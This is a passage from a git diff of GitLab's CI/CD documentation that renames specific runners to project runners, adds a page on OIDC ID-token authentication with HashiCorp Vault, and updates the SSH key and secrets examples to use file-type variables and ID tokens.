`recursive`. - `--recursive`, if [`GIT_SUBMODULE_STRATEGY`](#git-submodule-strategy) was set to `recursive`. - [`GIT_DEPTH`](#shallow-cloning). See the default value below. Git honors the last occurrence of a flag in the list of arguments, so manually -providing them in `GIT_SUBMODULE_UPDATE_FLAGS` will also override these default flags. +providing them in `GIT_SUBMODULE_UPDATE_FLAGS` overrides these default flags. You can use this variable to fetch the latest remote `HEAD` instead of the commit tracked, in the repository, or to speed up the checkout by fetching submodules in multiple parallel jobs: @@ -668,7 +668,7 @@ variables: test: script: - - pwd + - pwd -P ``` The `$CI_CONCURRENT_PROJECT_ID` should be used in conjunction with `$CI_PROJECT_PATH` @@ -680,7 +680,7 @@ variables: test: script: - - pwd + - pwd -P ``` #### Nested paths @@ -779,7 +779,7 @@ variables: NOTE: Zip archives are the only supported artifact type. Follow [the issue for details](https://gitlab.com/gitlab-org/gitlab/-/issues/367203). -GitLab Runner can generate and produce attestation metadata for all build artifacts. To enable this feature, you must set the `RUNNER_GENERATE_ARTIFACTS_METADATA` environment variable to `true`. This variable can either be set globally or it can be set for individual jobs. The metadata is in rendered in a plain text `.json` file that's stored with the artifact. The file name is as follows: `{ARTIFACT_NAME}-metadata.json` where `ARTIFACT_NAME` is what was defined as the [name for the artifact](../pipelines/job_artifacts.md#use-cicd-variables-to-define-the-artifacts-name) in the CI file. The file name, however, defaults to `artifacts-metadata.json` if no name was given to the build artifacts. +GitLab Runner can generate and produce attestation metadata for all build artifacts. To enable this feature, you must set the `RUNNER_GENERATE_ARTIFACTS_METADATA` environment variable to `true`. This variable can either be set globally or it can be set for individual jobs. The metadata is in rendered in a plain text `.json` file that's stored with the artifact. The filename is as follows: `{ARTIFACT_NAME}-metadata.json` where `ARTIFACT_NAME` is what was defined as the [name for the artifact](../pipelines/job_artifacts.md#use-cicd-variables-to-define-the-artifacts-name) in the CI file. The filename, however, defaults to `artifacts-metadata.json` if no name was given to the build artifacts. ### Attestation format @@ -801,7 +801,7 @@ The attestation metadata is generated in the [in-toto attestation format](https: | `predicate.invocation.environment.architecture` | The architecture on which the CI job is run. | | `predicate.invocation.parameters` | The names of any CI/CD or environment variables that were present when the build command was run. The value is always represented as an empty string to avoid leaking any secrets. | | `metadata.buildStartedOn` | The time when the build was started. `RFC3339` formatted. | -| `metadata.buildEndedOn` | The time when the build ended. Since metadata generation happens during the build this moment in time will be slightly earlier than the one reported in GitLab. `RFC3339` formatted. | +| `metadata.buildEndedOn` | The time when the build ended. Since metadata generation happens during the build this moment in time is slightly earlier than the one reported in GitLab. `RFC3339` formatted. | | `metadata.reproducible` | Whether the build is reproducible by gathering all the generated metadata. Always `false`. | | `metadata.completeness.parameters` | Whether the parameters are supplied. Always `true`. | | `metadata.completeness.environment` | Whether the builder's environment is reported. Always `true`. | @@ -893,7 +893,7 @@ sequentially. To avoid writing to disk and reading the contents back for smaller files, a small buffer per concurrency is used. This setting can be controlled with `FASTZIP_ARCHIVER_BUFFER_SIZE`. The default size for this buffer is 2 MiB, therefore, a -concurrency of 16 will allocate 32 MiB. Data that exceeds the buffer size will be written to and read back from disk. +concurrency of 16 allocates 32 MiB. Data that exceeds the buffer size is written to and read back from disk. Therefore, using no buffer, `FASTZIP_ARCHIVER_BUFFER_SIZE: 0`, and only scratch space is a valid option. `FASTZIP_ARCHIVER_CONCURRENCY` controls how many files are compressed concurrency. As mentioned above, this setting diff --git a/doc/ci/runners/img/specific_runner_ip_address.png b/doc/ci/runners/img/project_runner_ip_address.png Binary files differindex e08663109ba..e08663109ba 100644 --- a/doc/ci/runners/img/specific_runner_ip_address.png +++ b/doc/ci/runners/img/project_runner_ip_address.png diff --git a/doc/ci/runners/runners_scope.md b/doc/ci/runners/runners_scope.md index 6354a519810..d20ef846df7 100644 --- a/doc/ci/runners/runners_scope.md +++ b/doc/ci/runners/runners_scope.md @@ -11,8 +11,8 @@ Runners are available based on who you want to have access: - [Shared runners](#shared-runners) are available to all groups and projects in a GitLab instance. - [Group runners](#group-runners) are available to all projects and subgroups in a group. -- [Specific runners](#specific-runners) are associated with specific projects. - Typically, specific runners are used for one project at a time. +- [Project runners](#project-runners) are associated with specific projects. + Typically, project runners are used by one project at a time. ## Shared runners @@ -109,9 +109,7 @@ shared runner resources. The fair usage queue algorithm assigns jobs based on the projects that have the fewest number of jobs already running on shared runners. -**Example 1** - -If these jobs are in the queue: +For example, if these jobs are in the queue: - Job 1 for Project 1 - Job 2 for Project 1 @@ -120,7 +118,7 @@ If these jobs are in the queue: - Job 5 for Project 2 - Job 6 for Project 3 -The fair usage algorithm assigns jobs in this order: +When several CI/CD jobs run concurrently, the fair usage algorithm assigns jobs in this order: 1. Job 1 is first, because it has the lowest job number from projects with no running jobs (that is, all projects). 1. Job 4 is next, because 4 is now the lowest job number from projects with no running jobs (Project 1 has a job running). @@ -129,20 +127,7 @@ The fair usage algorithm assigns jobs in this order: 1. Job 5 is next, because Project 1 now has 2 jobs running and Job 5 is the lowest remaining job number between Projects 2 and 3. 1. Finally is Job 3... because it's the only job left. ---- - -**Example 2** - -If these jobs are in the queue: - -- Job 1 for Project 1 -- Job 2 for Project 1 -- Job 3 for Project 1 -- Job 4 for Project 2 -- Job 5 for Project 2 -- Job 6 for Project 3 - -The fair usage algorithm assigns jobs in this order: +When only one job runs at a time, the fair usage algorithm assigns jobs in this order: 1. Job 1 is chosen first, because it has the lowest job number from projects with no running jobs (that is, all projects). 1. We finish Job 1. @@ -172,7 +157,7 @@ To create a group runner: 1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). 1. On the top bar, select **Main menu > Groups** and find your group. 1. On the left sidebar, select **CI/CD > Runners**. -1. In the top-right corner, select **Register a group runner**. +1. In the upper-right corner, select **Register a group runner**. 1. Select **Show runner installation and registration instructions**. These instructions include the token, URL, and a command to register a runner. @@ -241,78 +226,78 @@ You must have the Owner role for the group. You must remove it from each project first. 1. On the confirmation dialog, select **OK**. -## Specific runners +## Project runners -Use _specific runners_ when you want to use runners for specific projects. For example, +Use _project runners_ when you want to use runners for specific projects. For example, when you have: - Jobs with specific requirements, like a deploy job that requires credentials. - Projects with a lot of CI activity that can benefit from being separate from other runners. -You can set up a specific runner to be used by multiple projects. Specific runners +You can set up a project runner to be used by multiple projects. Project runners must be enabled for each project explicitly. -Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. +Project runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. NOTE: -Specific runners do not get shared with forked projects automatically. +Project runners do not get shared with forked projects automatically. A fork *does* copy the CI/CD settings of the cloned repository. -### Create a specific runner +### Create a project runner -You can create a specific runner for your self-managed GitLab instance or for GitLab.com. +You can create a project runner for your self-managed GitLab instance or for GitLab.com. Prerequisite: - You must have at least the Maintainer role for the project. -To create a specific runner: +To create a project runner: 1. [Install GitLab Runner](https://docs.gitlab.com/runner/install/). 1. On the top bar, select **Main menu > Projects** and find the project where you want to use the runner. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Runners**. -1. In the **Specific runners** section, note the URL and token. +1. In the **Project runners** section, note the URL and token. 1. [Register the runner](https://docs.gitlab.com/runner/register/). The runner is now enabled for the project. -### Enable a specific runner for a different project +### Enable a project runner for a different project -After a specific runner is created, you can enable it for other projects. +After a project runner is created, you can enable it for other projects. Prerequisites: You must have at least the Maintainer role for: - The project where the runner is already enabled. - The project where you want to enable the runner. -- The specific runner must not be [locked](#prevent-a-specific-runner-from-being-enabled-for-other-projects). +- The project runner must not be [locked](#prevent-a-project-runner-from-being-enabled-for-other-projects). -To enable a specific runner for a project: +To enable a project runner for a project: 1. On the top bar, select **Main menu > Projects** and find the project where you want to enable the runner. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Runners**. -1. In the **Specific runners** area, by the runner you want, select **Enable for this project**. +1. In the **Project runners** area, by the runner you want, select **Enable for this project**. -You can edit a specific runner from any of the projects it's enabled for. +You can edit a project runner from any of the projects it's enabled for. The modifications, which include unlocking and editing tags and the description, affect all projects that use the runner. -An administrator can [enable the runner for multiple projects](../../user/admin_area/settings/continuous_integration.md#enable-a-specific-runner-for-multiple-projects). +An administrator can [enable the runner for multiple projects](../../user/admin_area/settings/continuous_integration.md#enable-a-project-runner-for-multiple-projects). -### Prevent a specific runner from being enabled for other projects +### Prevent a project runner from being enabled for other projects -You can configure a specific runner so it is "locked" and cannot be enabled for other projects. +You can configure a project runner so it is "locked" and cannot be enabled for other projects. This setting can be enabled when you first [register a runner](https://docs.gitlab.com/runner/register/), but can also be changed later. -To lock or unlock a specific runner: +To lock or unlock a project runner: 1. On the top bar, select **Main menu > Projects** and find the project where you want to enable the runner. 1. On the left sidebar, select **Settings > CI/CD**. 1. Expand **Runners**. -1. Find the specific runner you want to lock or unlock. Make sure it's enabled. You cannot lock shared or group runners. +1. Find the project runner you want to lock or unlock. Make sure it's enabled. You cannot lock shared or group runners. 1. Select **Edit** (**{pencil}**). 1. Select the **Lock to current projects** checkbox. 1. Select **Save changes**. diff --git a/doc/ci/runners/saas/linux_saas_runner.md b/doc/ci/runners/saas/linux_saas_runner.md index 9c380886812..58c8a6d0815 100644 --- a/doc/ci/runners/saas/linux_saas_runner.md +++ b/doc/ci/runners/saas/linux_saas_runner.md @@ -24,7 +24,7 @@ For Free, Premium, and Ultimate plan customers, jobs on these instances consume The `small` machine type is the default. Your job runs on this machine type if you don't specify a [tags:](../../yaml/index.md#tags) keyword in your `.gitlab-ci.yml` file. -CI/CD jobs that run on `medium` and `large` machine types **will** consume CI minutes at a different rate than CI/CD jobs on the `small` machine type. +CI/CD jobs that run on `medium` and `large` machine types consumes CI minutes at a different rate than CI/CD jobs on the `small` machine type. Refer to the CI/CD minutes [cost factor](../../../ci/pipelines/cicd_minutes.md#cost-factor) for the cost factor applied to the machine type based on size. @@ -167,7 +167,7 @@ from the GitLab repository. `CI_REPO_CACHE_CREDENTIALS` must contain the Google Cloud service account JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. -Note that this bucket should be located in the same continent as the +This bucket should be located in the same continent as the runner, or [you can incur network egress charges](https://cloud.google.com/storage/pricing). ## `config.toml` diff --git a/doc/ci/runners/saas/macos_saas_runner.md b/doc/ci/runners/saas/macos_saas_runner.md index 270f85e65e2..96e294ff828 100644 --- a/doc/ci/runners/saas/macos_saas_runner.md +++ b/doc/ci/runners/saas/macos_saas_runner.md @@ -84,3 +84,4 @@ In SaaS runners on macOS, the objective is to make 90% of CI jobs start executin - If the VM image does not include the specific software version you need for your job, then the job execution time will increase as the required software needs to be fetched and installed. - At this time, it is not possible to bring your own OS image. +- The keychain for user `gitlab` is not publicly available. You must create a keychain instead. diff --git a/doc/ci/secrets/id_token_authentication.md b/doc/ci/secrets/id_token_authentication.md new file mode 100644 index 00000000000..f622bc2a7b1 --- /dev/null +++ b/doc/ci/secrets/id_token_authentication.md @@ -0,0 +1,165 @@ +--- +stage: Verify +group: Pipeline Authoring +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +type: tutorial +--- + +# OpenID Connect (OIDC) Authentication Using ID Tokens **(FREE)** + +You can authenticate with third party services using GitLab CI/CD's +[ID tokens](../yaml/index.md#id_tokens). + +## ID Tokens + +[ID tokens](../yaml/index.md#id_tokens) are JSON Web Tokens (JWTs) that can be added to a GitLab CI/CD job. They can be used for OIDC +authentication with third-party services, and are used by the [`secrets`](../yaml/index.md#secrets) keyword to authenticate with HashiCorp Vault. + +ID tokens are configured in the `.gitlab-ci.yml`. For example: + +```yaml +job_with_id_tokens: + id_tokens: + FIRST_ID_TOKEN: + aud: https://first.service.com + SECOND_ID_TOKEN: + aud: https://second.service.com + script: + - first-service-authentication-script.sh $FIRST_ID_TOKEN + - second-service-authentication-script.sh $SECOND_ID_TOKEN +``` + +In this example, the two tokens have different `aud` claims. Third party services can be configured to reject tokens +that do not have an `aud` claim matching their bound audience. Use this functionality to reduce the number of +services with which a token can authenticate. This reduces the severity of having a token compromised. + +### Token payload + +The following fields are included in each ID token: + +| Field | When | Description | +|-------------------------|------------------------------|-------------| +| [`aud`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.3) | Always | Intended audience for the token ("audience" claim). Configured in GitLab the CI/CD configuration. The domain of the GitLab instance by default. | +| [`exp`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.4) | Always | The expiration time ("expiration time" claim). | +| [`iat`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.6) | Always | The time the JWT was issued ("issued at" claim). | +| [`iss`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.1) | Always | Issuer of the token, which is the domain of the GitLab instance ("issuer" claim). | +| [`jti`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.7) | Always | Unique identifier for the token ("JWT ID" claim). | +| [`nbf`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.5) | Always | The time after which the token becomes valid ("not before" claim). | +| [`sub`](https://www.rfc-editor.org/rfc/rfc7519.html#section-4.1.2) | Always | The job ID ("subject" claim). | +| `deployment_tier` | Job specifies an environment | [Deployment tier](../environments/index.md#deployment-tier-of-environments) of the environment the job specifies. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/363590) in GitLab 15.2. | +| `environment_protected` | Job specifies an environment | `true` if specified environment is protected, `false` otherwise. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9. | +| `environment` | Job specifies an environment | Environment the job specifies. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/294440) in GitLab 13.9. | +| `job_id` | Always | ID of the job. | +| `namespace_id` | Always | Use to scope to group or user level namespace by ID. | +| `namespace_path` | Always | Use to scope to group or user level namespace by path. | +| `pipeline_id` | Always | ID of the pipeline. | +| `pipeline_source` | Always | [Pipeline source](../jobs/job_control.md#common-if-clauses-for-rules). | +| `project_id` | Always | Use to scope to project by ID. | +| `project_path` | Always | Use to scope to project by path. | +| `ref_protected` | Always | `true` if the Git ref is protected, `false` otherwise. | +| `ref_type` | Always | Git ref type, either `branch` or `tag`. | +| `ref` | Always | Git ref for the job. | +| `user_email` | Always | Email of the user executing the job. | +| `user_id` | Always | ID of the user executing the job. | +| `user_login` | Always | Username of the user executing the job. | + +Example ID token payload: + +```json +{ + "jti": "c82eeb0c-5c6f-4a33-abf5-4c474b92b558", + "aud": "hashicorp.example.com", + "iss": "gitlab.example.com", + "iat": 1585710286, + "nbf": 1585798372, + "exp": 1585713886, + "sub": "job_1212", + "namespace_id": "1", + "namespace_path": "mygroup", + "project_id": "22", + "project_path": "mygroup/myproject", + "user_id": "42", + "user_login": "myuser", + "user_email": "myuser@example.com", + "pipeline_id": "1212", + "pipeline_source": "web", + "job_id": "1212", + "ref": "auto-deploy-2020-04-01", + "ref_type": "branch", + "ref_protected": "true", + "environment": "production", + "environment_protected": "true" +} +``` + +The ID token is encoded by using RS256 and signed with a dedicated private key. The expiry time for the token is set to +the job's timeout if specified, or 5 minutes if no timeout is specified. + +## Manual ID Token authentication + +You can use ID tokens for OIDC authentication with a third party service. For example: + +```yaml +manual_authentication: + variables: + VAULT_ADDR: http://vault.example.com:8200 + image: vault:latest + id_tokens: + VAULT_ID_TOKEN: + aud: http://vault.example.com:8200 + script: + - export VAULT_TOKEN="$(vault write -field=token auth/jwt/login role=myproject-example jwt=$VAULT_ID_TOKEN)" + - export PASSWORD="$(vault kv get -field=password secret/myproject/example/db)" + - my-authentication-script.sh $VAULT_TOKEN $PASSWORD +``` + +## Automatic ID Token authentication with HashiCorp Vault **(PREMIUM)** + +You can use ID tokens to automatically fetch secrets from HashiCorp Vault with the +[`secrets`](../yaml/index.md#secrets) keyword. + +### Enable automatic ID token authentication + +To enable automatic ID token authentication: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Token Access**. +1. Toggle **Limit JSON Web Token (JWT) access** to enabled. + +### Configure automatic ID Token authentication + +If one ID token is defined, the `secrets` keyword automatically uses it to authenticate with Vault. For example: + +```yaml +job_with_secrets: + id_tokens: + VAULT_ID_TOKEN: + aud: https://example.vault.com + secrets: + PROD_DB_PASSWORD: + vault: example/db/password # authenticates using $VAULT_ID_TOKEN + script: + - access-prod-db.sh --token $PROD_DB_PASSWORD +``` + +If more than one ID token is defined, use the `token` keyword to specify which token should be used. For example: + +```yaml +job_with_secrets: + id_tokens: + FIRST_ID_TOKEN: + aud: https://first.service.com + SECOND_ID_TOKEN: + aud: https://second.service.com + secrets: + FIRST_DB_PASSWORD: + vault: first/db/password + token: $FIRST_ID_TOKEN + SECOND_DB_PASSWORD: + vault: second/db/password + token: $SECOND_ID_TOKEN + script: + - access-first-db.sh --token $FIRST_DB_PASSWORD + - access-second-db.sh --token $SECOND_DB_PASSWORD +``` diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index ba12508beeb..14f771431e5 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -23,10 +23,16 @@ GitLab has selected [Vault by HashiCorp](https://www.vaultproject.io) as the first supported provider, and [KV-V2](https://developer.hashicorp.com/vault/docs/secrets/kv/kv-v2) as the first supported secrets engine. -GitLab authenticates using Vault's +By default, GitLab authenticates using Vault's [JSON Web Token (JWT) authentication method](https://developer.hashicorp.com/vault/docs/auth/jwt#jwt-authentication), using -the [JSON Web Token](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) (`CI_JOB_JWT`) -introduced in GitLab 12.10. +the [JSON Web Token](https://gitlab.com/gitlab-org/gitlab/-/issues/207125) (`CI_JOB_JWT`). + +[ID tokens](../yaml/index.md#id_tokens) is the preferred secure way to authenticate with Vault, +because ID tokens are defined per-job. GitLab can also authenticate with Vault by using the `CI_JOB_JWT`, +but that token is provided to every job, which can be a security risk. + +The [Authenticating and Reading Secrets With HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) +tutorial has more details about authenticating with ID tokens. You must [configure your Vault server](#configure-your-vault-server) before you can use [use Vault secrets in a CI job](#use-vault-secrets-in-a-ci-job). @@ -106,9 +112,14 @@ After [configuring your Vault server](#configure-your-vault-server), you can use the secrets stored in Vault by defining them with the `vault` keyword: ```yaml -secrets: - DATABASE_PASSWORD: - vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` +job_using_vault: + id_tokens: + VAULT_ID_TOKEN: + aud: https://gitlab.com + secrets: + DATABASE_PASSWORD: + vault: production/db/password@ops # translates to secret `ops/data/production/db`, field `password` + token: $VAULT_ID_TOKEN ``` In this example: @@ -125,9 +136,13 @@ To overwrite the default behavior, set the `file` option explicitly: ```yaml secrets: + id_tokens: + VAULT_ID_TOKEN: + aud: https://gitlab.com DATABASE_PASSWORD: vault: production/db/password@ops file: false + token: $VAULT_ID_TOKEN ``` In this example, the secret value is put directly in the `DATABASE_PASSWORD` variable @@ -177,8 +192,8 @@ Always restrict your roles to a project or namespace by using one of the provide claims like `project_id` or `namespace_id`. Without these restrictions, any JWT generated by this GitLab instance may be allowed to authenticate using this role. -For a full list of `CI_JOB_JWT` claims, read the -[How it works](../examples/authenticating-with-hashicorp-vault/index.md#how-it-works) section of the +For a full list of ID token JWT claims, read the +[How It Works](../examples/authenticating-with-hashicorp-vault/index.md#how-it-works) section of the [Authenticating and Reading Secrets With HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) tutorial. You can also specify some attributes for the resulting Vault tokens, such as time-to-live, @@ -188,7 +203,7 @@ for the JSON web token method. ## Using a self-signed Vault server -When the Vault server is using a self-signed certificate, you will see the following error in the job logs: +When the Vault server is using a self-signed certificate, you see the following error in the job logs: ```plaintext ERROR: Job failed (system failure): resolving secrets: initializing Vault service: preparing authenticated client: checking Vault server health: Get https://vault.example.com:8000/v1/sys/health?drsecondarycode=299&performancestandbycode=299&sealedcode=299&standbycode=299&uninitcode=299: x509: certificate signed by unknown authority @@ -197,7 +212,7 @@ ERROR: Job failed (system failure): resolving secrets: initializing Vault servic You have two options to solve this error: - Add the self-signed certificate to the GitLab Runner server's CA store. - If you deployed GitLab Runner using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), you will have to create your own GitLab Runner image. + If you deployed GitLab Runner using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), you have to create your own GitLab Runner image. - Use the `VAULT_CACERT` environment variable to configure GitLab Runner to trust the certificate: - If you are using systemd to manage GitLab Runner, see [how to add an environment variable for GitLab Runner](https://docs.gitlab.com/runner/configuration/init.html#setting-custom-environment-variables). - If you deployed GitLab Runner using the [Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html): diff --git a/doc/ci/secure_files/index.md b/doc/ci/secure_files/index.md index 32bc4f2d758..10baa57cabb 100644 --- a/doc/ci/secure_files/index.md +++ b/doc/ci/secure_files/index.md @@ -28,10 +28,6 @@ Secure files can be [downloaded and used by CI/CD jobs](#use-secure-files-in-cic by using the [download-secure-files](https://gitlab.com/gitlab-org/incubation-engineering/mobile-devops/download-secure-files) tool. -NOTE: -This feature is in active development and is likely to change, potentially in a breaking way. -Additional features and capabilities are planned. - ## Add a secure file to a project To add a secure file to a project: diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md index f2ea969f430..bd31f1b8e91 100644 --- a/doc/ci/services/gitlab.md +++ b/doc/ci/services/gitlab.md @@ -26,7 +26,7 @@ tests access to the GitLab API. NOTE: Variables set in the GitLab UI are not passed down to the service containers. -[Learn more](../variables/index.md#). +For more information, see [GitLab CI/CD variables](../variables/index.md). Then, commands in `script` sections in your `.gitlab-ci.yml` file can access the API at `http://gitlab/api/v4`. diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md index bbd2f822481..f26751c56e7 100644 --- a/doc/ci/services/index.md +++ b/doc/ci/services/index.md @@ -9,7 +9,7 @@ type: index # Services **(FREE)** When you configure CI/CD, you specify an image, which is used to create the container -where your jobs will run. To specify this image, you use the `image` keyword. +where your jobs run. To specify this image, you use the `image` keyword. You can specify an additional image by using the `services` keyword. This additional image is used to create another container, which is available to the first container. @@ -77,6 +77,12 @@ still succeeds even if that warning was printed. For example: as a volume under `/builds`). In that case, the service does its job, and because the job is not trying to connect to it, it does not fail. +If the services start successfully, they start before the +[`before_script`](../../ci/yaml/index.md#before_script) runs. This means you can +write a `before_script` that queries the service. + +Services stop at the end of the job, even if the job fails. + ## What services are not for As mentioned before, this feature is designed to provide **network accessible** @@ -343,7 +349,7 @@ services: command: ["/usr/bin/super-sql", "run"] ``` -The syntax of `command` is similar to [Dockerfile's `CMD`](https://docs.docker.com/engine/reference/builder/#cmd). +The syntax of `command` is similar to [Dockerfile `CMD`](https://docs.docker.com/engine/reference/builder/#cmd). ## Using `services` with `docker run` (Docker-in-Docker) side-by-side @@ -398,10 +404,10 @@ time. Logs generated by applications running in service containers can be captured for subsequent examination and debugging. You might want to look at service container's logs when the service container has started successfully, but is not -behaving es expected, leading to job failures. The logs can indicate missing or incorrect configuration of the service +behaving as expected, leading to job failures. The logs can indicate missing or incorrect configuration of the service within the container. -`CI_DEBUG_SERVICES` should only by enabled when service containers are being actively debugged as there are both storage +`CI_DEBUG_SERVICES` should only be enabled when service containers are being actively debugged as there are both storage and performance consequences to capturing service container logs. To enable service logging, add the `CI_DEBUG_SERVICES` variable to the project's @@ -417,10 +423,10 @@ Accepted values are: - Enabled: `TRUE`, `true`, `True` - Disabled: `FALSE`, `false`, `False` -Any other values will result in an error message and effectively disable the feature. +Any other values result in an error message and effectively disable the feature. -When enabled, logs for _all_ service containers will be captured and streamed into the jobs trace log concurrently with -other logs. Logs from each container will be prefixed with the container's aliases, and displayed in a different color. +When enabled, logs for _all_ service containers are captured and streamed into the jobs trace log concurrently with +other logs. Logs from each container are prefixed with the container's aliases, and displayed in a different color. NOTE: You may want to adjust the logging level in the service container for which you want to capture logs since the default @@ -490,3 +496,8 @@ creation. ## Security when using services containers Docker privileged mode applies to services. This means that the service image container can access the host system. You should use container images from trusted sources only. + +## Shared /builds directory + +Services can access files from the build because all services have the job +directory mounted as a volume under `/builds`. diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index ea11719cef1..e795c4ffc5f 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -18,7 +18,7 @@ This example shows you how to set a username and password that GitLab uses to ac NOTE: Variables set in the GitLab UI are not passed down to the service containers. -[Learn more](../variables/index.md). +For more information, see [GitLab CI/CD variables](../variables/index.md). 1. To specify a MySQL image, add the following to your `.gitlab-ci.yml` file: diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 139a4a2f742..afb14bd976f 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -18,7 +18,7 @@ you basically have everything set up already. NOTE: Variables set in the GitLab UI are not passed down to the service containers. -[Learn more](../variables/index.md). +For more information, see [GitLab CI/CD variables](../variables/index.md). First, in your `.gitlab-ci.yml` add: diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index ed16a19c7f5..c1154485018 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -28,7 +28,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) ## How it works 1. Create a new SSH key pair locally with [`ssh-keygen`](https://linux.die.net/man/1/ssh-keygen) -1. Add the private key as a [variable](../variables/index.md) to +1. Add the private key as a [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) to your project 1. Run the [`ssh-agent`](https://linux.die.net/man/1/ssh-agent) during job to load the private key. @@ -52,7 +52,7 @@ to access it. In this case, you can use an SSH key pair. **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. -1. Create a new [CI/CD variable](../variables/index.md). +1. Create a new [file type CI/CD variable](../variables/index.md). As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste the content of your _private_ key that you created earlier. @@ -73,12 +73,11 @@ to access it. In this case, you can use an SSH key pair. - eval $(ssh-agent -s) ## - ## Add the SSH key stored in SSH_PRIVATE_KEY variable to the agent store - ## We're using tr to fix line endings which makes ed25519 keys work - ## without extra base64 encoding. - ## https://gitlab.com/gitlab-examples/ssh-private-key/issues/1#note_48526556 + ## Give the right permissions, otherwise ssh-add will refuse to add files + ## Add the SSH key stored in SSH_PRIVATE_KEY file type CI/CD variable to the agent store ## - - echo "$SSH_PRIVATE_KEY" | tr -d '\r' | ssh-add - + - chmod 400 "$SSH_PRIVATE_KEY" + - ssh-add "$SSH_PRIVATE_KEY" ## ## Create the SSH directory and give it the right permissions @@ -100,7 +99,7 @@ to access it. In this case, you can use an SSH key pair. 1. Make sure the private server's [SSH host keys are verified](#verifying-the-ssh-host-keys). 1. As a final step, add the _public_ key from the one you created in the first - step to the services that you want to have an access to from within the build + step to the services that you want to have an access to from inside the build environment. If you are accessing a private GitLab repository you must add it as a [deploy key](../../user/project/deploy_keys/index.md). @@ -129,7 +128,7 @@ on, and use that key for all projects that are run on this machine. prompt for it. 1. As a final step, add the _public_ key from the one you created earlier to the - services that you want to have an access to from within the build environment. + services that you want to have an access to from inside the build environment. If you are accessing a private GitLab repository you must add it as a [deploy key](../../user/project/deploy_keys/index.md). @@ -160,14 +159,14 @@ ssh-keyscan example.com ssh-keyscan 1.2.3.4 ``` -Create a new [CI/CD variable](../variables/index.md) with -`SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`. +Create a new [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) +with `SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`. If you must connect to multiple servers, all the server host keys must be collected in the **Value** of the variable, one key per line. NOTE: -By using a variable instead of `ssh-keyscan` directly inside +By using a file type CI/CD variable instead of `ssh-keyscan` directly inside `.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` if the host domain name changes for some reason. Also, the values are predefined by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, @@ -180,10 +179,10 @@ above, you must add: ```yaml before_script: ## - ## Assuming you created the SSH_KNOWN_HOSTS variable, uncomment the + ## Assuming you created the SSH_KNOWN_HOSTS file type CI/CD variable, uncomment the ## following two lines. ## - - echo "$SSH_KNOWN_HOSTS" >> ~/.ssh/known_hosts + - cp "$SSH_KNOWN_HOSTS" ~/.ssh/known_hosts - chmod 644 ~/.ssh/known_hosts ## diff --git a/doc/ci/testing/code_quality.md b/doc/ci/testing/code_quality.md index 2a1dffe07fc..4b826991bb5 100644 --- a/doc/ci/testing/code_quality.md +++ b/doc/ci/testing/code_quality.md @@ -191,13 +191,13 @@ Code Quality now runs in standard Docker mode. ## Disable Code Quality The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable -is present. Refer to the CI/CD variables [documentation](../variables/index.md) -to learn more about how to define one. +is present. For more information about how to define a variable, see +[GitLab CI/CD variables](../variables/index.md). To disable Code Quality, create a custom CI/CD variable named `CODE_QUALITY_DISABLED`, for either: - [The whole project](../variables/index.md#for-a-project). -- [A single pipeline](../variables/index.md#override-a-variable-when-running-a-pipeline-manually). +- [A single pipeline](../pipelines/index.md#run-a-pipeline-manually). ## Customizing scan settings @@ -432,7 +432,6 @@ include: code_quality: variables: - CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24" ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`. CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/ CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER @@ -531,8 +530,6 @@ This can be due 